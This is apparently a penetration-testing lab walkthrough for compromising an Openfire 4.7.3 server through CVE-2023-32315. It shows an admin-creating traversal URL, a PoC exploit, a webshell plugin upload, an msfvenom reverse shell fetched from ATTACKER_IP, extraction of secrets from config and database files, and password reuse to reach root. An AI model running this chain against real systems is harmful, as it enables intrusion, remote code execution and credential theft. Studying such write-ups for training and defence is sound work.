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# Openfire
Openfire `4.7.3` can expose the administrative console on TCP `9090`/`9091`. CVE-2023-32315 can create an admin user, and admin access can be used to upload a command-execution plugin.
## Discovery
Nmap may misidentify the console as Hadoop, but the `jive-*` strings are a useful Openfire clue:
```
9090/tcp open hadoop-tasktracker Apache Hadoop
|_http-title: Site doesn't have a title (text/html).
| hadoop-tasktracker-info:
|_ Logs: jive-ibtn jive-btn-gradient
9091/tcp open ssl/hadoop-tasktracker Apache Hadoop
| ssl-cert: Subject: commonName=localhost
| Subject Alternative Name: DNS:localhost, DNS:*.localhost
```
Browse to the admin console:
```
http://TARGET:9090
Openfire, Version: 4.7.3
```
Afrog can identify CVE-2023-32315 paths:
```
CVE-2023-32315-2 HIGH http://TARGET:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User
CVE-2023-32315 HIGH http://TARGET:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
```
## CVE-2023-32315 Admin Creation
Use the K3ysTr0K3R PoC to confirm the target is vulnerable and create an admin account:
```bash
wget https://raw.githubusercontent.com/K3ysTr0K3R/CVE-2023-32315-EXPLOIT/refs/heads/main/CVE-2023-32315.py
python3 CVE-2023-32315.py -u http://TARGET:9090
```
Successful output:
```
[+] Target is vulnerable
[+] Successfully added, here are the credentials
[+] Username: hugme
[+] Password: HugmeNOW
```
After login, check users at:
```
http://TARGET:9090/user-summary.jsp
```
Observed users:
```
admin
b99aid
```
## Plugin Command Execution
Build the Openfire CVE plugin:
```bash
git clone https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass.git
cd CVE-2023-32315-Openfire-Bypass
mvn clean package
```
Successful build artifact:
```
./target/org.jivesoftware.openfire.plugin.CVE-openfire-plugin-assembly.jar
```
Upload the plugin through the admin console. A successful upload redirects to:
```
http://TARGET:9090/plugin-admin.jsp?uploadsuccess=true
```
The shell plugin is available under:
```
Server -> Server Settings -> Shell Plugin
http://TARGET:9090/plugins/org.jivesoftware.openfire.plugin.cve-openfire-plugin-assembly/cmd.jsp?action=command
```
The observed plugin password was:
```
123
```
## Reverse Shell
Use the plugin command execution to download and execute an ELF reverse shell:
```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=80 -f elf -o shell.elf
python3 -m http.server 8000
nc -nlvp 80
```
Plugin commands:
```bash
wget -O /tmp/shell.elf http://ATTACKER_IP:8000/shell.elf
chmod 777 /tmp/shell.elf
/tmp/shell.elf
```
Successful shell:
```
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET] PORT
id
uid=114(openfire) gid=118(openfire) groups=118(openfire)
```
## Credential Hunting
Useful Openfire files:
```bash
cat /etc/openfire/openfire.xml
find / -type f -name openfire.xml 2>/dev/null
find / -type f -name openfire.properties 2>/dev/null
```
Observed paths and config:
```
/etc/openfire/openfire.xml
/var/lib/openfire/embedded-db/openfire.properties
secretToken
org.jivesoftware.database.EmbeddedConnectionProvider
```
The embedded HSQLDB lives under `/var/lib/openfire/embedded-db/`. The encrypted `OFUSER` passwords and `OFPROPERTY` values were recovered from the database script file:
```bash
cd /var/lib/openfire/embedded-db
grep 'OFUSER' openfire.script
grep -i ofProperty openfire.script
```
Useful values:
```
INSERT INTO OFUSER VALUES('admin',...,'a52a48e57def1a851c91e768042c5bf6078a0cac311d03fd47de71e23bdef5062cbb6f8d836d718d',...)
INSERT INTO OFPROPERTY VALUES('mail.smtp.password','OpenFireAtEveryone',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','EOAJUe2Sqdlfqjk',0,NULL)
```
The `passwordKey` can decrypt `OFUSER` encrypted passwords with Openfire password decrypter tooling:
```bash
git clone https://github.com/z3rObyte/openfire-password-decrypter.git
python3 decrypter.py ENCRYPTEDPASSWORD EOAJUe2Sqdlfqjk
```
## Privilege Escalation
Try the recovered SMTP password for local privilege escalation:
```bash
su root
```
Successful root access used:
```
OpenFireAtEveryone
```
Confirm:
```bash
id
cat /root/proof.txt
```
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